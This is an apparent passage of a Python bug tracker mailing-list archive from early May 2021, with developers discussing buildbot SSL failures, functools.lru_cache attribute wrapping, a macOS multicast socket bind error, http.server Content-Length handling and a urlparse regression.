Salgado) Date: Sat, 01 May 2021 20:30:34 +0000 Subject: [issue44004] test_nntplib is failing in all buildbots In-Reply-To: <1619900075.87.0.568727924353.issue44004@roundup.psfhosted.org> Message-ID: <1619901034.98.0.230094976281.issue44004@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Should be fixed by a5669b3c627e64c9196d9bb58b733eb723d34e99 Does this mean that all the RHEL7 buildbots are not testing the SSL module? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:33:00 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 01 May 2021 20:33:00 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1619901180.07.0.413758281946.issue43916@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I have transformed https://discuss.python.org/t/list-of-built-in-types-converted-to-heap-types/8403 into a wiki. Tell me if you need some alterations of something is missing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:33:38 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 01 May 2021 20:33:38 +0000 Subject: [issue43957] [Enum] update __contains__ to return True for valid values In-Reply-To: <1619550668.75.0.616141985831.issue43957@roundup.psfhosted.org> Message-ID: <1619901218.18.0.169899449076.issue43957@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Ethan can we close this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:34:37 2021 From: report at bugs.python.org (Ethan Furman) Date: Sat, 01 May 2021 20:34:37 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619901277.77.0.641057380015.issue43989@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 55e5c680dde39c934bf162965820787272ce95f9 by Roberto Hueso in branch 'master': bpo-43989: Add signal format specifier for unix_events (GH-25769) https://github.com/python/cpython/commit/55e5c680dde39c934bf162965820787272ce95f9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:35:46 2021 From: report at bugs.python.org (Ethan Furman) Date: Sat, 01 May 2021 20:35:46 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619901346.72.0.0124944924666.issue43989@roundup.psfhosted.org> Change by Ethan Furman : ---------- pull_requests: +24483 pull_request: https://github.com/python/cpython/pull/25793 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:39:22 2021 From: report at bugs.python.org (Ethan Furman) Date: Sat, 01 May 2021 20:39:22 +0000 Subject: [issue43957] [Enum] update __contains__ to return True for valid values In-Reply-To: <1619550668.75.0.616141985831.issue43957@roundup.psfhosted.org> Message-ID: <1619901562.6.0.753011615844.issue43957@roundup.psfhosted.org> Change by Ethan Furman : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:42:42 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 20:42:42 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1619901762.78.0.654631139912.issue43916@roundup.psfhosted.org> Christian Heimes added the comment: New changeset ddbef71a2c166a5d5dd168e26493973053a953d6 by Christian Heimes in branch 'master': bpo-43916: Rewrite new hashlib tests, fix typo (GH-25791) https://github.com/python/cpython/commit/ddbef71a2c166a5d5dd168e26493973053a953d6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:54:04 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 01 May 2021 20:54:04 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619902444.16.0.6594522315.issue43989@roundup.psfhosted.org> miss-islington added the comment: New changeset 1ae05fdf2d0a4cf12e355ad74c437cbfa89c9b93 by Ethan Furman in branch 'master': Revert "bpo-43989: Temporarily disable warnings in ssltests (GH-25780)" (GH-25793) https://github.com/python/cpython/commit/1ae05fdf2d0a4cf12e355ad74c437cbfa89c9b93 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:54:52 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 01 May 2021 20:54:52 +0000 Subject: [issue41277] documentation: os.setxattr() errno EEXIST and ENODATA In-Reply-To: <1594446359.56.0.57719330174.issue41277@roundup.psfhosted.org> Message-ID: <1619902492.59.0.772941975104.issue41277@roundup.psfhosted.org> Eric V. Smith added the comment: Sorry, ZackerySpytz. I saw PR 25742 first and reviewed and merged it before I saw that you have an earlier PR on this issue. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:55:49 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 01 May 2021 20:55:49 +0000 Subject: [issue41277] documentation: os.setxattr() errno EEXIST and ENODATA In-Reply-To: <1594446359.56.0.57719330174.issue41277@roundup.psfhosted.org> Message-ID: <1619902549.15.0.647402265091.issue41277@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24484 pull_request: https://github.com/python/cpython/pull/25794 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:56:31 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 01 May 2021 20:56:31 +0000 Subject: [issue41277] documentation: os.setxattr() errno EEXIST and ENODATA In-Reply-To: <1594446359.56.0.57719330174.issue41277@roundup.psfhosted.org> Message-ID: <1619902591.33.0.205412182987.issue41277@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24485 pull_request: https://github.com/python/cpython/pull/25795 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:57:25 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 01 May 2021 20:57:25 +0000 Subject: [issue41277] documentation: os.setxattr() errno EEXIST and ENODATA In-Reply-To: <1594446359.56.0.57719330174.issue41277@roundup.psfhosted.org> Message-ID: <1619902645.91.0.643102452816.issue41277@roundup.psfhosted.org> Change by Eric V. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 17:00:10 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 21:00:10 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1619902810.41.0.570187241183.issue43908@roundup.psfhosted.org> Christian Heimes added the comment: What's the plan for heap type exceptions? PyErr_NewException() and PyErr_NewExceptionWithDoc() doesn't accept flags. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 17:08:23 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 21:08:23 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619903303.03.0.814081909062.issue43989@roundup.psfhosted.org> Christian Heimes added the comment: Thanks Ethan and Roberto! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 17:09:25 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 01 May 2021 21:09:25 +0000 Subject: [issue43999] Cannot pickle frozen dataclasses with slots In-Reply-To: <1619885018.94.0.115449567872.issue43999@roundup.psfhosted.org> Message-ID: <1619903365.9.0.756582050632.issue43999@roundup.psfhosted.org> Change by Eric V. Smith : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 17:10:09 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 21:10:09 +0000 Subject: [issue44004] test_nntplib is failing in all buildbots In-Reply-To: <1619900075.87.0.568727924353.issue44004@roundup.psfhosted.org> Message-ID: <1619903409.21.0.255786865809.issue44004@roundup.psfhosted.org> Christian Heimes added the comment: RHEL 7 doesn't come with OpenSSL 1.1.1. I'll talk to Charis and check if he can provide local copies of OpenSSL 1.1.1. Or we can drop RHEL 7 testing. Regular support ended almost 2 years ago. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 17:16:26 2021 From: report at bugs.python.org (giangy) Date: Sat, 01 May 2021 21:16:26 +0000 Subject: [issue44005] multiple socket bind failure on Mac OS X with SO_REUSEADDR Message-ID: <1619903786.51.0.0561605628071.issue44005@roundup.psfhosted.org> New submission from giangy : I am connecting to a server using a multicast UDP socket. Running two instances of the code below, in two shell windows on the same computer, it works on both Windows 10 and Ubuntu 18.04, but it fails on Mac OS 10.15.7, reporting: >>> sock.bind(('', MCAST_PORT)) Traceback (most recent call last): File "", line 1, in OSError: [Errno 48] Address already in use ~~ import socket CLIENT_IP = '192.168.1.53' MCAST_ADDR = '239.0.1.1' MCAST_PORT = 10000 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_IF, socket.inet_aton(CLIENT_IP)) sock.setsockopt(socket.SOL_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MCAST_ADDR) + socket.inet_aton(CLIENT_IP)) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_IF, socket.inet_aton(CLIENT_IP)) sock.bind(('', MCAST_PORT)) ---------- components: Library (Lib), macOS messages: 392641 nosy: ned.deily, ronaldoussoren, sforzagianluca priority: normal severity: normal status: open title: multiple socket bind failure on Mac OS X with SO_REUSEADDR type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 17:34:53 2021 From: report at bugs.python.org (Csaba Torda) Date: Sat, 01 May 2021 21:34:53 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1619904893.0.0.305019633555.issue1635741@roundup.psfhosted.org> Change by Csaba Torda : ---------- nosy: +TCsaba _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 18:44:17 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 01 May 2021 22:44:17 +0000 Subject: [issue44004] test_nntplib is failing in all buildbots In-Reply-To: <1619900075.87.0.568727924353.issue44004@roundup.psfhosted.org> Message-ID: <1619909057.37.0.456948448569.issue44004@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: If would be great if we can have these buildbots using a locally compiled version of OpenSSL. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 18:50:47 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 01 May 2021 22:50:47 +0000 Subject: [issue44002] Use functools.lru_cache in urllib.parse instead of 1996 custom caching In-Reply-To: <1619893035.74.0.250033562413.issue44002@roundup.psfhosted.org> Message-ID: <1619909447.22.0.152363755777.issue44002@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +24486 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25798 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 19:52:06 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 01 May 2021 23:52:06 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619913126.24.0.371979011955.issue44003@roundup.psfhosted.org> Gregory P. Smith added the comment: That was anecdotal evidence: ``` Python 3.9.1 (v3.9.1:1e5d33e9b9, Dec 7 2020, 12:10:52) [Clang 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> def func(arg=1, *, kwarg=2): pass ... >>> import functools >>> from functools import lru_cache, update_wrapper >>> @lru_cache ... def cached_func(arg=1, *, kwargs=2): pass ... >>> def x(*args, **kwargs): func(*args, **kwargs) ... >>> updated_x = update_wrapper(func, x) >>> x >>> updated_x >>> updated_x.__defaults__ (1,) >>> updated_x.__kwdefaults__ {'kwarg': 2} >>> func.__defaults__ (1,) >>> func.__kwdefaults__ {'kwarg': 2} >>> cached_func.__defaults__ Traceback (most recent call last): File "", line 1, in AttributeError: 'functools._lru_cache_wrapper' object has no attribute '__defaults__' >>> cached_func.__kwdefaults__ Traceback (most recent call last): File "", line 1, in AttributeError: 'functools._lru_cache_wrapper' object has no attribute '__kwdefaults__' ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 19:57:27 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 01 May 2021 23:57:27 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619913447.36.0.640815291034.issue44003@roundup.psfhosted.org> Gregory P. Smith added the comment: the pure python functools.lru_cache doesn't get this right either. here's a desirable testcase for this bug: ``` def test_lru_defaults_bug44003(self): @self.module.lru_cache(maxsize=None) def func(arg='ARG', *, kw='KW'): return arg, kw self.assertEqual(func.__wrapped__.__defaults__, ('ARG',)) self.assertEqual(func.__wrapped__.__kwdefaults__, {'kw': 'KW'}) self.assertEqual(func.__defaults__, ('ARG',)) self.assertEqual(func.__kwdefaults__, {'kw': 'KW'}) ``` results in ``` ERROR: test_lru_defaults_bug44003 (test.test_functools.TestLRUC) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/greg/oss/python/gpshead/Lib/test/test_functools.py", line 1738, in test_lru_defaults_bug44003 self.assertEqual(func.__defaults__, ('ARG',)) AttributeError: 'functools._lru_cache_wrapper' object has no attribute '__defaults__' ====================================================================== FAIL: test_lru_defaults_bug44003 (test.test_functools.TestLRUPy) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/greg/oss/python/gpshead/Lib/test/test_functools.py", line 1738, in test_lru_defaults_bug44003 self.assertEqual(func.__defaults__, ('ARG',)) AssertionError: None != ('ARG',) ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 20:17:47 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 May 2021 00:17:47 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619914667.39.0.0831494961978.issue44003@roundup.psfhosted.org> Raymond Hettinger added the comment: I don't think this should be done. We want the lru_cache to be a pass-through. Applying defaults or keyword-only/positional-only restrictions is the responsibility of the inner function. FWIW, here are the fields that Nick selected to be included in update_wrapper(): ('__module__', '__name__', '__qualname__', '__doc__', '__annotations__'). Those are sufficient to get help() to work which is all we were aiming for: >>> from functools import * >>> @lru_cache def cached_func(b=5): pass >>> help(cached_func) Help on _lru_cache_wrapper in module __main__: cached_func(b=5) ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 20:24:27 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 00:24:27 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619915067.28.0.780140067807.issue44003@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +24487 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25800 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 20:31:59 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 00:31:59 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619915519.61.0.240201514085.issue44003@roundup.psfhosted.org> Gregory P. Smith added the comment: __defaults__ and __kwdefaults__ get used for code introspection. Just as __annotations__ does. __annotations__ is already available on the lru_cache wrapped function. All of those seem to go together from a runtime inspection point of view. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 20:34:51 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 00:34:51 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619915691.98.0.302929628012.issue44003@roundup.psfhosted.org> Gregory P. Smith added the comment: An inner function can't know if somebody else might want to inspect it. This is a decorator that does not change anything about the argument signature of the wrapped function, carrying over the reference to meta-information about that by default seems to make sense. ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 20:56:06 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 May 2021 00:56:06 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619916966.16.0.13093906392.issue44003@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 21:03:59 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 01:03:59 +0000 Subject: [issue41232] Python `functools.wraps` doesn't deal with defaults correctly In-Reply-To: <1594159222.49.0.432639092165.issue41232@roundup.psfhosted.org> Message-ID: <1619917439.19.0.750855080279.issue41232@roundup.psfhosted.org> Gregory P. Smith added the comment: I'm working on a more specialized case of this for functools.lru_cache in bpo-issue44003. But I believe this issue also makes sense. It is basically suggesting that __defaults__ and __kwdefaults__ should be included in the default set of assigned= attributes that functools.update_wrapper applies. The argument in favor of this is that it already has __annotations__ in the default set. With that, the default isn't really correct for use on any decorator that modifies the meaning or overall call signature of the function if it happens to have annotations. as __annotations__ and __defaults__ and __kwdefaults__ are all abstract callable introspection interfaces. >From Python's perspective some may call each of these an Enhancement rather than a Bugfix. I'm fine with that. It doesn't come up super often but would make Python things more consistent if it were done. Your PR makes sense to me, though we'll need to understand and fix that test failure you identified where it appears to be potentially testing for the wrong thing (I haven't studied it enough study to say yet). ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 21:05:11 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 01:05:11 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619917511.91.0.123836562813.issue44003@roundup.psfhosted.org> Gregory P. Smith added the comment: https://bugs.python.org/issue41232 covers the more general case of suggesting changing update_wrapper's behavior. That would alleviate the need to fix the pure python implementation within my own PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 21:05:55 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 01:05:55 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619917555.33.0.860866117908.issue44003@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- type: behavior -> enhancement versions: -Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 21:13:20 2021 From: report at bugs.python.org (Stephen Rosen) Date: Sun, 02 May 2021 01:13:20 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1619918000.95.0.845338400556.issue43972@roundup.psfhosted.org> Stephen Rosen added the comment: Ach! Sorry! I didn't even realize this but the issue only arises when you are modifying the handler to set the protocol to HTTP/1.1 . In HTTP/1.0 , there's no notion of persistent connections, so the issue does not arise. But when the protocol version changes to 1.1 , persistent connections are the norm, and curl will wait indefinitely. The following short script is sufficient to reproduce: ``` import http.server class CustomRequestHandler(http.server.SimpleHTTPRequestHandler): protocol_version = "HTTP/1.1" with http.server.HTTPServer(("", 8000), CustomRequestHandler) as httpd: try: httpd.serve_forever() except KeyboardInterrupt: print("\nKeyboard interrupt received, exiting.") ``` After double-checking the docs, the current doc for `protocol_version` [1] is quite clear about this: "your server must then include an accurate Content-Length header (using send_header()) in all of its responses to clients" I still think the fix I proposed is an improvement. Setting a Content-Length isn't forbidden in HTTP/1.0 , and it guarantees good behavior when HTTP/1.1 is used. [1] https://docs.python.org/3/library/http.server.html#http.server.BaseHTTPRequestHandler.protocol_version ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 21:29:01 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 May 2021 01:29:01 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619918941.06.0.356097322861.issue44003@roundup.psfhosted.org> Raymond Hettinger added the comment: I don't really like it. Carrying forward these attributes isn't the norm for wrapping functions. The __defaults__ argument is normally only used where it has an effect rather than in a wrapper where it doesn't. Given that it is mutable, it invites a change that won't work. For example: >>> def pow(base, exp=2): return base ** exp >>> pow.__defaults__ (2,) >>> pow.__defaults__ = (3,) >>> pow(2) 8 Also, an introspection function can only meaningfully use defaults when accompanied by the names of the fields: >>> pow.__code__.co_varnames ('base', 'exp') However, these aren't visible by directly introspecting the wrapper. FWIW, we've never had a user reported issue regarding the absence of __defaults__. If ain't broke, let's don't "fix" it. Nick and Serhiy, any thoughts? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 22:06:12 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 02:06:12 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619921172.75.0.358046767675.issue44003@roundup.psfhosted.org> Gregory P. Smith added the comment: Oh, I didn't realize mutating those would actually change the code runtime behavior. But it makes sense, those are needed before the code object is entered. Yeah that is different, and suggests making this the default is not actually desired. (this issue and the other one) I guess our rule is that introspection code really must check for and be ready to handle .__wrapped__ if its goal is robustness? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 23:23:20 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 03:23:20 +0000 Subject: [issue44006] symbol documentation still exists Message-ID: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> New submission from Jelle Zijlstra : symbol is being removed in 3.10, but https://docs.python.org/3.10/library/symbol.html still exists and claims it will be removed in "future versions". It was removed in bpo-40939 / GH-21005. ---------- assignee: docs at python components: Documentation messages: 392653 nosy: Jelle Zijlstra, docs at python, lys.nikolaou priority: normal severity: normal status: open title: symbol documentation still exists versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 23:29:37 2021 From: report at bugs.python.org (Arcadiy Ivanov) Date: Sun, 02 May 2021 03:29:37 +0000 Subject: [issue44007] urlparse("host:123", "http") inconsistent between 3.8 and 3.9 Message-ID: <1619926177.78.0.708746826424.issue44007@roundup.psfhosted.org> New submission from Arcadiy Ivanov : $ ~/.pyenv/versions/3.8.6/bin/python3.8 Python 3.8.6 (default, Oct 8 2020, 13:32:06) [GCC 10.2.1 20200723 (Red Hat 10.2.1-1)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from urllib.parse import urlparse >>> urlparse("host:123", "http") ParseResult(scheme='http', netloc='', path='host:123', params='', query='', fragment='') >>> $ ~/.pyenv/versions/3.8.9/bin/python3.8 Python 3.8.9 (default, May 1 2021, 23:27:11) [GCC 11.1.1 20210428 (Red Hat 11.1.1-1)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from urllib.parse import urlparse >>> urlparse("host:123", "http") ParseResult(scheme='http', netloc='', path='host:123', params='', query='', fragment='') >>> $ ~/.pyenv/versions/3.9.4/bin/python3.9 Python 3.9.4 (default, Apr 8 2021, 17:27:49) [GCC 10.2.1 20201125 (Red Hat 10.2.1-9)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from urllib.parse import urlparse >>> urlparse("host:123", "http") ParseResult(scheme='host', netloc='', path='123', params='', query='', fragment='') >>> While I'm not sure, it seems to me that 3.9 is wrong here, given that the default scheme is specified as a second parameter to URL parse, i.e. "host:123" should be treated as "http://host:123" as in 3.8. We also relied on this parser behavior, i.e. for us it's a regression. ---------- components: Library (Lib) messages: 392654 nosy: arcivanov priority: normal severity: normal status: open title: urlparse("host:123", "http") inconsistent between 3.8 and 3.9 versions: Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 23:30:06 2021 From: report at bugs.python.org (Arcadiy Ivanov) Date: Sun, 02 May 2021 03:30:06 +0000 Subject: [issue44007] urlparse("host:123", "http") inconsistent between 3.8 and 3.9 In-Reply-To: <1619926177.78.0.708746826424.issue44007@roundup.psfhosted.org> Message-ID: <1619926206.38.0.920053381813.issue44007@roundup.psfhosted.org> Change by Arcadiy Ivanov : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 23:31:18 2021 From: report at bugs.python.org (Shantanu) Date: Sun, 02 May 2021 03:31:18 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1619926278.03.0.846947399733.issue44006@roundup.psfhosted.org> Shantanu added the comment: Do you see what's generating it? As far as I can tell, the RST was removed a while ago in https://github.com/python/cpython/pull/21624 ---------- nosy: +hauntsaninja _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 23:41:51 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 03:41:51 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1619926911.32.0.326329547092.issue44006@roundup.psfhosted.org> Jelle Zijlstra added the comment: You're right, the file doesn't exist on master. I guess there must be some sort of caching. For what it's worth, I found it by going to the module documentation on an earlier version and using the dropdown to navigate to 3.10. If you go to the dataclasses docs and select a version where it doesn't exist yet (e.g., 3.6), it redirects to https://docs.python.org/3.6/. That feels like the right behavior here too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 23:49:59 2021 From: report at bugs.python.org (Martin Panter) Date: Sun, 02 May 2021 03:49:59 +0000 Subject: [issue44007] urlparse("host:123", "http") inconsistent between 3.8 and 3.9 In-Reply-To: <1619926177.78.0.708746826424.issue44007@roundup.psfhosted.org> Message-ID: <1619927399.25.0.421353455645.issue44007@roundup.psfhosted.org> Martin Panter added the comment: I suspect this comes from Issue 27657. Consider how similar URLs like tel:123 or javascript:123 should be parsed. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 23:52:37 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 02 May 2021 03:52:37 +0000 Subject: [issue41232] Python `functools.wraps` doesn't deal with defaults correctly In-Reply-To: <1594159222.49.0.432639092165.issue41232@roundup.psfhosted.org> Message-ID: <1619927557.79.0.893728150137.issue41232@roundup.psfhosted.org> Jelle Zijlstra added the comment: We should not do this, because the wrapping function may have different defaults, and updating __defaults__ would make it use the wrapped function's defaults. Example: >>> def f(y=1): ... print(y) ... >>> f() 1 >>> f.__defaults__ (1,) >>> f.__defaults__ = () >>> f() Traceback (most recent call last): File "", line 1, in TypeError: f() missing 1 required positional argument: 'y' ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:19:35 2021 From: report at bugs.python.org (Larry Hastings) Date: Sun, 02 May 2021 04:19:35 +0000 Subject: [issue43987] Add "Annotations Best Practices" to HOWTO In-Reply-To: <1619781973.9.0.643111119253.issue43987@roundup.psfhosted.org> Message-ID: <1619929175.19.0.475042658707.issue43987@roundup.psfhosted.org> Larry Hastings added the comment: New changeset 49b26fa517165f991c35a4afcbef1fcb26836bec by larryhastings in branch 'master': bpo-43987: Add "Annotations Best Practices" HOWTO doc. (#25746) https://github.com/python/cpython/commit/49b26fa517165f991c35a4afcbef1fcb26836bec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:29:51 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 02 May 2021 04:29:51 +0000 Subject: [issue41232] Python `functools.wraps` doesn't deal with defaults correctly In-Reply-To: <1594159222.49.0.432639092165.issue41232@roundup.psfhosted.org> Message-ID: <1619929791.42.0.926289525717.issue41232@roundup.psfhosted.org> Gregory P. Smith added the comment: Even if we shouldn't blindly propagate defaults (wrong in some wrapping scenarios), there is still a problem here as noted in Thor's opening message. A bug exists between functools.wraps and inspect.signature. The signature reported is wrong. why? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 00:34:50 2021 From: report at bugs.python.org (Arcadiy Ivanov) Date: Sun, 02 May 2021 04:34:50 +0000 